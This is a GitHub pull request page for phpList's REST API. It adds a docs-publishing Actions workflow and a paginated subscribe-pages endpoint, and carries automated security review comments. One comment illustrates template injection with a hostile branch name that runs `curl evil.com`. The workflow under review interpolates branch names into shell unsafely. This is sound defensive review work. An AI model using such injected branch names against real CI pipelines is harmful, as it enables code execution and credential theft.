Skip to content
Open

Dev #169

Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 4 additions & 1 deletion .github/workflows/client-docs.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,11 @@ name: Update phplist-api-client OpenAPI
on:
push:
branches:
- '**'
- dev
- main
pull_request:
branches:
- main

jobs:
generate-openapi:
Expand Down
120 changes: 120 additions & 0 deletions .github/workflows/front-docs.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,120 @@
name: Update phplist-web-frontend OpenAPI

on:
push:
branches:
- dev
- main
pull_request:
branches:
- main
jobs:
Comment on lines +1 to +11
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

Restrict workflow permissions following least-privilege principle.

The workflow lacks an explicit permissions: block, so it runs with broad default GITHUB_TOKEN permissions (including write access to repository contents). If the workflow is compromised (e.g., via the template injection vulnerability), the attacker inherits all default permissions.

🔒 Proposed permissions block
 name: Update phplist-web-frontend OpenAPI
 
+permissions:
+  contents: write      # Required to push to web-frontend repo
+  actions: read        # Required to download artifacts
+
 on:
   push:
🧰 Tools
🪛 zizmor (1.25.2)

[warning] 1-121: overly broad permissions (excessive-permissions): default permissions used due to no permissions: block

(excessive-permissions)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/front-docs.yml around lines 1 - 11, Add an explicit
top-level permissions block to this workflow (named "Update phplist-web-frontend
OpenAPI") to enforce least-privilege for GITHUB_TOKEN; replace the default broad
permissions with explicit, minimal permissions required by the job(s) (for
example, set contents: read and only include write permissions for specific
scopes actually needed like pull-requests: write or workflows: write if the job
updates PRs or workflow files), placing the permissions: block directly under
the workflow header so it applies to all jobs.

generate-openapi:
runs-on: ubuntu-22.04
outputs:
source_branch: ${{ steps.branch.outputs.source_branch }}
steps:
- name: Determine source branch
id: branch
run: |
if [ "${{ github.event_name }}" = "pull_request" ]; then
echo "source_branch=${{ github.head_ref }}" >> "$GITHUB_OUTPUT"
else
echo "source_branch=${{ github.ref_name }}" >> "$GITHUB_OUTPUT"
fi
Comment on lines +17 to +24
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Critical: Template injection vulnerability in branch name handling.

Lines 21 and 23 directly expand github.head_ref and github.ref_name into shell commands. An attacker can craft a malicious branch name (e.g., main$(curl evil.com) or dev; malicious-command) to execute arbitrary code in the CI environment. This could lead to credential theft, supply chain compromise, or repository tampering.

🔒 Proposed fix: Use environment variables
       - name: Determine source branch
         id: branch
+        env:
+          EVENT_NAME: ${{ github.event_name }}
+          HEAD_REF: ${{ github.head_ref }}
+          REF_NAME: ${{ github.ref_name }}
         run: |
-          if [ "${{ github.event_name }}" = "pull_request" ]; then
-            echo "source_branch=${{ github.head_ref }}" >> "$GITHUB_OUTPUT"
+          if [ "$EVENT_NAME" = "pull_request" ]; then
+            echo "source_branch=$HEAD_REF" >> "$GITHUB_OUTPUT"
           else
-            echo "source_branch=${{ github.ref_name }}" >> "$GITHUB_OUTPUT"
+            echo "source_branch=$REF_NAME" >> "$GITHUB_OUTPUT"
           fi
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Determine source branch
id: branch
run: |
if [ "${{ github.event_name }}" = "pull_request" ]; then
echo "source_branch=${{ github.head_ref }}" >> "$GITHUB_OUTPUT"
else
echo "source_branch=${{ github.ref_name }}" >> "$GITHUB_OUTPUT"
fi
- name: Determine source branch
id: branch
env:
EVENT_NAME: ${{ github.event_name }}
HEAD_REF: ${{ github.head_ref }}
REF_NAME: ${{ github.ref_name }}
run: |
if [ "$EVENT_NAME" = "pull_request" ]; then
echo "source_branch=$HEAD_REF" >> "$GITHUB_OUTPUT"
else
echo "source_branch=$REF_NAME" >> "$GITHUB_OUTPUT"
fi
🧰 Tools
🪛 actionlint (1.7.12)

[error] 19-19: "github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details

(expression)

🪛 zizmor (1.25.2)

[error] 21-21: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[error] 23-23: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/front-docs.yml around lines 17 - 24, The Determine source
branch step is vulnerable because it injects github.head_ref/github.ref_name
directly into a shell command; replace this run block with a non-shell
implementation (e.g., use actions/github-script or an official action) that
reads the branch from the GitHub context and sets the step output via the
Actions toolkit (e.g., core.setOutput('source_branch', branch)) to avoid shell
interpolation; locate the step with id "branch" / name "Determine source branch"
and remove direct echo of ${{ github.head_ref }} and ${{ github.ref_name }} in
shell commands.


- name: Checkout Source Repository
uses: actions/checkout@v3
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Fetch latest release commit SHAs for GitHub Actions

echo "=== actions/checkout ==="
gh api repos/actions/checkout/releases/latest --jq '.tag_name as $tag | "Tag: \($tag)" | ., "SHA: TBD - check releases page"'

echo -e "\n=== shivammathur/setup-php ==="
gh api repos/shivammathur/setup-php/releases/latest --jq '.tag_name'

echo -e "\n=== actions/cache ==="
gh api repos/actions/cache/releases/latest --jq '.tag_name'

echo -e "\n=== actions/upload-artifact ==="
gh api repos/actions/upload-artifact/releases/latest --jq '.tag_name'

echo -e "\n=== actions/download-artifact ==="
gh api repos/actions/download-artifact/releases/latest --jq '.tag_name'

Repository: phpList/rest-api

Length of output: 279


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "=== actions/checkout (latest tag -> object sha) ==="
gh api repos/actions/checkout/git/ref/tags/v6.0.2 --jq '.object.sha'

echo "=== shivammathur/setup-php (latest tag -> object sha) ==="
gh api repos/shivammathur/setup-php/git/ref/tags/2.37.1 --jq '.object.sha'

echo "=== actions/cache (latest tag -> object sha) ==="
gh api repos/actions/cache/git/ref/tags/v5.0.5 --jq '.object.sha'

echo "=== actions/upload-artifact (latest tag -> object sha) ==="
gh api repos/actions/upload-artifact/git/ref/tags/v7.0.1 --jq '.object.sha'

echo "=== actions/download-artifact (latest tag -> object sha) ==="
gh api repos/actions/download-artifact/git/ref/tags/v8.0.1 --jq '.object.sha'

Repository: phpList/rest-api

Length of output: 544


🏁 Script executed:

#!/bin/bash
set -euo pipefail

sed -n '1,140p' .github/workflows/front-docs.yml | nl -ba | sed -n '1,140p'

Repository: phpList/rest-api

Length of output: 103


🏁 Script executed:

#!/bin/bash
set -euo pipefail
cat -n .github/workflows/front-docs.yml | sed -n '1,140p'

Repository: phpList/rest-api

Length of output: 4769


Pin GitHub Actions to immutable commit SHAs (and update outdated majors)

The workflow uses mutable action tags (@v3, @v2, @v4), which enables supply-chain tampering if an action repo is compromised. Pin each uses: to a commit SHA instead.

Recommended pins for this workflow:

  • actions/checkoutde0fac2e4500dabe0009e67214ff5f5447ce83dd (v6.0.2) for both occurrences (uses: actions/checkout@v3)
  • shivammathur/setup-php7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc (2.37.1)
  • actions/cache27d5ce7f107fe9357f9df03efb73ab90386fccae (v5.0.5)
  • actions/upload-artifact043fb46d1a93c77aae656e7c1c64a875d1fc6a0a (v7.0.1)
  • actions/download-artifact3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c (v8.0.1)
🧰 Tools
🪛 actionlint (1.7.12)

[error] 27-27: the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue

(action)

🪛 zizmor (1.25.2)

[warning] 26-27: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)


[error] 27-27: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/front-docs.yml at line 27, The workflow uses mutable
action tags (e.g., the uses entry "actions/checkout@v3") which must be replaced
with immutable commit SHAs to prevent supply-chain risks; update every "uses:
actions/checkout@v3" occurrence to pin to
de0fac2e4500dabe0009e67214ff5f5447ce83dd, and similarly replace the other
mutable usages mentioned (shivammathur/setup-php, actions/cache,
actions/upload-artifact, actions/download-artifact) with the recommended commit
SHAs (7c071dfe9dc99bdf297fa79cb49ea005b9fcadbc,
27d5ce7f107fe9357f9df03efb73ab90386fccae,
043fb46d1a93c77aae656e7c1c64a875d1fc6a0a,
3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c respectively), ensuring all “uses:”
lines in the workflow file are updated to those exact SHAs.


Comment on lines +26 to +28
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

Prevent credential persistence in checkout actions.

Both actions/checkout steps lack persist-credentials: false, causing credentials to persist in .git/config. The checkout at line 62 is particularly sensitive because it uses the privileged PUSH_WEB_FRONTEND token. If subsequent steps are compromised or files leaked, credentials could be exposed.

🔐 Proposed fix
       - name: Checkout Source Repository
         uses: actions/checkout@v3
+        with:
+          persist-credentials: false
       - name: Checkout phpList-web-frontend Repository
         uses: actions/checkout@v3
         with:
           repository: phpList/web-frontend
           token: ${{ secrets.PUSH_WEB_FRONTEND }}
           fetch-depth: 0
+          persist-credentials: false

Note: You'll need to re-configure git credentials in the commit step (line 106-107) after disabling persistence, which you're already doing correctly.

Also applies to: 61-66

🧰 Tools
🪛 actionlint (1.7.12)

[error] 27-27: the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue

(action)

🪛 zizmor (1.25.2)

[warning] 26-27: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)


[error] 27-27: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/front-docs.yml around lines 26 - 28, The checkout steps
using actions/checkout@v3 are leaving credentials in .git/config; update both
checkout steps (the initial "Checkout Source Repository" and the later checkout
that uses the PUSH_WEB_FRONTEND token) to add persist-credentials: false to the
action inputs so credentials are not persisted, and ensure the subsequent
commit/push logic (where you reconfigure git credentials) remains intact to set
credentials only when needed.

- name: Setup PHP with Composer and Extensions
uses: shivammathur/setup-php@v2
with:
php-version: 8.1
extensions: mbstring, dom, fileinfo, mysql

- name: Cache Composer Dependencies
uses: actions/cache@v3
with:
path: ~/.composer/cache
key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
restore-keys: |
${{ runner.os }}-composer-

- name: Install Composer Dependencies
run: composer install --no-interaction --prefer-dist

- name: Generate OpenAPI Specification JSON
run: vendor/bin/openapi -o docs/latest-restapi.json --format json src

- name: Upload OpenAPI Artifact
uses: actions/upload-artifact@v4
with:
name: openapi-json
path: docs/latest-restapi.json

update-web-frontend:
runs-on: ubuntu-22.04
needs: generate-openapi
env:
TARGET_BRANCH: ${{ needs.generate-openapi.outputs.source_branch }}
steps:
- name: Checkout phpList-web-frontend Repository
uses: actions/checkout@v3
with:
repository: phpList/web-frontend
token: ${{ secrets.PUSH_WEB_FRONTEND }}
fetch-depth: 0

- name: Prepare target branch
run: |
git fetch origin

if git ls-remote --exit-code --heads origin "$TARGET_BRANCH" >/dev/null 2>&1; then
git checkout "$TARGET_BRANCH"
git pull --rebase origin "$TARGET_BRANCH"
else
git checkout -b "$TARGET_BRANCH"
fi

- name: Download Generated OpenAPI JSON
uses: actions/download-artifact@v4
with:
name: openapi-json
path: ./new-openapi

- name: Compare and Check for Differences
id: diff
run: |
# Compare the openapi files if old exists, else always deploy
if [ -f openapi.json ]; then
diff openapi.json new-openapi/latest-restapi.json > openapi-diff.txt || true
if [ -s openapi-diff.txt ]; then
echo "diff=true" >> "$GITHUB_OUTPUT"
else
echo "diff=false" >> "$GITHUB_OUTPUT"
fi
else
echo "No previous openapi.json, will add."
echo "diff=true" >> "$GITHUB_OUTPUT"
fi

- name: Update and Commit OpenAPI File
if: steps.diff.outputs.diff == 'true'
run: |
set -euo pipefail
cp new-openapi/latest-restapi.json openapi.json
git config user.name "github-actions"
git config user.email "github-actions@web-frontend.workflow"
git add openapi.json
if git diff --cached --quiet; then
echo "No changes to commit"
exit 0
fi
git commit -m "Update openapi.json from web frontend workflow $(date -u +"%Y-%m-%dT%H:%M:%SZ")"
git fetch origin "$TARGET_BRANCH"
git rebase "origin/$TARGET_BRANCH"
git push origin HEAD:"$TARGET_BRANCH"

- name: Skip Commit if No Changes
if: steps.diff.outputs.diff == 'false'
run: echo "No changes to openapi.json, skipping commit."
2 changes: 1 addition & 1 deletion composer.json
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,7 @@
},
"require": {
"php": "^8.1",
"phplist/core": "dev-main",
"phplist/core": "dev-dev",
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Check phplist/core branches and recent activity

echo "=== Checking if dev-dev branch exists ==="
gh api repos/phpList/core/branches/dev-dev --jq '.name' 2>/dev/null || echo "Branch 'dev-dev' not found"

echo -e "\n=== Checking if dev-main branch exists ==="
gh api repos/phpList/core/branches/dev-main --jq '.name' 2>/dev/null || echo "Branch 'dev-main' not found"

echo -e "\n=== Recent commits on dev-dev (if exists) ==="
gh api repos/phpList/core/commits?sha=dev-dev --jq '.[0:3] | .[] | "\(.commit.author.date) - \(.commit.message | split("\n")[0])"' 2>/dev/null || echo "Cannot fetch commits for dev-dev"

echo -e "\n=== Recent commits on dev-main (if exists) ==="
gh api repos/phpList/core/commits?sha=dev-main --jq '.[0:3] | .[] | "\(.commit.author.date) - \(.commit.message | split("\n")[0])"' 2>/dev/null || echo "Cannot fetch commits for dev-main"

Repository: phpList/rest-api

Length of output: 853


🏁 Script executed:

#!/bin/bash
set -e

echo "=== Listing branches in phpList/core (top 100) ==="
gh api repos/phpList/core/branches?per_page=100 --jq '.[].name' 2>/dev/null || echo "Cannot list branches (gh api failed)"

echo -e "\n=== Checking for likely composer-branch candidates ==="
for b in main master develop dev trunk; do
  echo -e "\n-- Branch: $b"
  gh api repos/phpList/core/branches/$b --jq '.name' 2>/dev/null || echo "Branch '$b' not found"
done

echo -e "\n=== Checking tags (top 50) ==="
gh api repos/phpList/core/tags?per_page=50 --jq '.[].name' 2>/dev/null || echo "Cannot list tags (gh api failed)"

Repository: phpList/rest-api

Length of output: 808


Confirm intended stability for phplist/core tracking (dev-dev vs dev-main)

In phpList/core, the actual branches are dev and main (no literal dev-dev branch). Composer’s dev-dev tracks dev (while dev-main tracks main), so switching to dev-dev means opting into the less-stable dev line—ensure this is intentional for the PR’s devmain flow and add rationale; otherwise consider reverting to dev-main for consistency/stability.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@composer.json` at line 45, The composer entry "phplist/core": "dev-dev"
appears to track the dev branch (not main) — if the PR intends to follow the
stable main line change it back to "dev-main"; otherwise explicitly confirm and
document the intent to track the less-stable dev branch. Update the
composer.json dependency for phplist/core (the "phplist/core" version string) to
"dev-main" for consistency/stability or add a short comment/PR description
explaining why "dev-dev" (dev) is intentionally required.

"friendsofsymfony/rest-bundle": "*",
"symfony/test-pack": "^1.0",
"symfony/process": "^6.4",
Expand Down
11 changes: 9 additions & 2 deletions src/Messaging/Controller/BounceController.php
Original file line number Diff line number Diff line change
Expand Up @@ -81,8 +81,15 @@ public function __construct(
response: 200,
description: 'Success',
content: new OA\JsonContent(
type: 'array',
items: new OA\Items(ref: '#/components/schemas/BounceView')
properties: [
new OA\Property(
property: 'items',
type: 'array',
items: new OA\Items(ref: '#/components/schemas/BounceView')
),
new OA\Property(property: 'pagination', ref: '#/components/schemas/CursorPagination')
],
type: 'object'
)
),
new OA\Response(
Expand Down
2 changes: 1 addition & 1 deletion src/PhpListRestBundle.php
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@
description: 'This is the OpenAPI documentation for phpList API.',
title: 'phpList API Documentation',
contact: new OA\Contact(
email: 'support@phplist.com'
email: 'tatevik@phplist.com'
),
license: new OA\License(
name: 'AGPL-3.0-or-later',
Expand Down
78 changes: 78 additions & 0 deletions src/Subscription/Controller/SubscribePageController.php
Original file line number Diff line number Diff line change
Expand Up @@ -6,11 +6,13 @@

use Doctrine\ORM\EntityManagerInterface;
use OpenApi\Attributes as OA;
use PhpList\Core\Domain\Common\Model\Filter\PaginatedFilter;
use PhpList\Core\Domain\Identity\Model\PrivilegeFlag;
use PhpList\Core\Domain\Subscription\Model\SubscribePage;
use PhpList\Core\Domain\Subscription\Service\Manager\SubscribePageManager;
use PhpList\Core\Security\Authentication;
use PhpList\RestBundle\Common\Controller\BaseController;
use PhpList\RestBundle\Common\Service\Provider\PaginatedDataProvider;
use PhpList\RestBundle\Common\Validator\RequestValidator;
use PhpList\RestBundle\Subscription\Request\SubscribePageDataRequest;
use PhpList\RestBundle\Subscription\Request\SubscribePageRequest;
Expand All @@ -30,10 +32,86 @@ public function __construct(
private readonly SubscribePageManager $subscribePageManager,
private readonly SubscribePageNormalizer $normalizer,
private readonly EntityManagerInterface $entityManager,
private readonly PaginatedDataProvider $paginatedProvider,
) {
parent::__construct($authentication, $validator);
}

#[Route('/', name: 'get_all', methods: ['GET'])]
#[OA\Get(
path: '/api/v2/subscribe-pages',
description: '🚧 **Status: Beta** – This method is under development. Avoid using in production.',
summary: 'Get subscribe pages list',
tags: ['subscriptions'],
parameters: [
new OA\Parameter(
name: 'php-auth-pw',
description: 'Session key obtained from login',
in: 'header',
required: true,
schema: new OA\Schema(type: 'string')
),
new OA\Parameter(
name: 'after_id',
description: 'Last id (starting from 0)',
in: 'query',
required: false,
schema: new OA\Schema(type: 'integer', default: 1, minimum: 1)
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Fix OpenAPI schema constraint for after_id.

The parameter description states "Last id (starting from 0)" but the schema specifies minimum: 1 and default: 1, which prevents valid requests with after_id=0. The test suite confirms that 0 is a valid starting value for cursor pagination.

📝 Proposed fix
             new OA\Parameter(
                 name: 'after_id',
                 description: 'Last id (starting from 0)',
                 in: 'query',
                 required: false,
-                schema: new OA\Schema(type: 'integer', default: 1, minimum: 1)
+                schema: new OA\Schema(type: 'integer', default: 0, minimum: 0)
             ),
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
schema: new OA\Schema(type: 'integer', default: 1, minimum: 1)
schema: new OA\Schema(type: 'integer', default: 0, minimum: 0)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/Subscription/Controller/SubscribePageController.php` at line 59, The
OpenAPI schema for the after_id parameter in SubscribePageController (schema:
new OA\Schema(...)) incorrectly sets minimum and default to 1; change the schema
so it allows 0 by setting minimum to 0 and default to 0 (or remove the
minimum/default constraint) so cursor pagination starting at 0 is valid; update
the OA\Schema for after_id accordingly.

),
new OA\Parameter(
name: 'limit',
description: 'Number of results per page',
in: 'query',
required: false,
schema: new OA\Schema(type: 'integer', default: 25, maximum: 100, minimum: 1)
)
],
responses: [
new OA\Response(
response: 200,
description: 'Success',
content: new OA\JsonContent(
properties: [
new OA\Property(
property: 'items',
type: 'array',
items: new OA\Items(ref: '#/components/schemas/SubscribePage')
),
new OA\Property(property: 'pagination', ref: '#/components/schemas/CursorPagination')
],
type: 'object'
)
),
new OA\Response(
response: 403,
description: 'Failure',
content: new OA\JsonContent(ref: '#/components/schemas/UnauthorizedResponse')
),
new OA\Response(
response: 404,
description: 'Not Found',
content: new OA\JsonContent(ref: '#/components/schemas/NotFoundErrorResponse')
),
]
)]
public function getPages(Request $request): JsonResponse
{
$admin = $this->requireAuthentication($request);
if (!$admin->getPrivileges()->has(PrivilegeFlag::Subscribers)) {
throw $this->createAccessDeniedException('You are not allowed to view subscribe pages.');
}

return $this->json(
$this->paginatedProvider->getPaginatedList(
request: $request,
normalizer: $this->normalizer,
className: SubscribePage::class,
filter: new PaginatedFilter(),
),
Response::HTTP_OK
);
}

#[Route('/{id}', name: 'get', requirements: ['id' => '\\d+'], methods: ['GET'])]
#[OA\Get(
path: '/api/v2/subscribe-pages/{id}',
Expand Down
Loading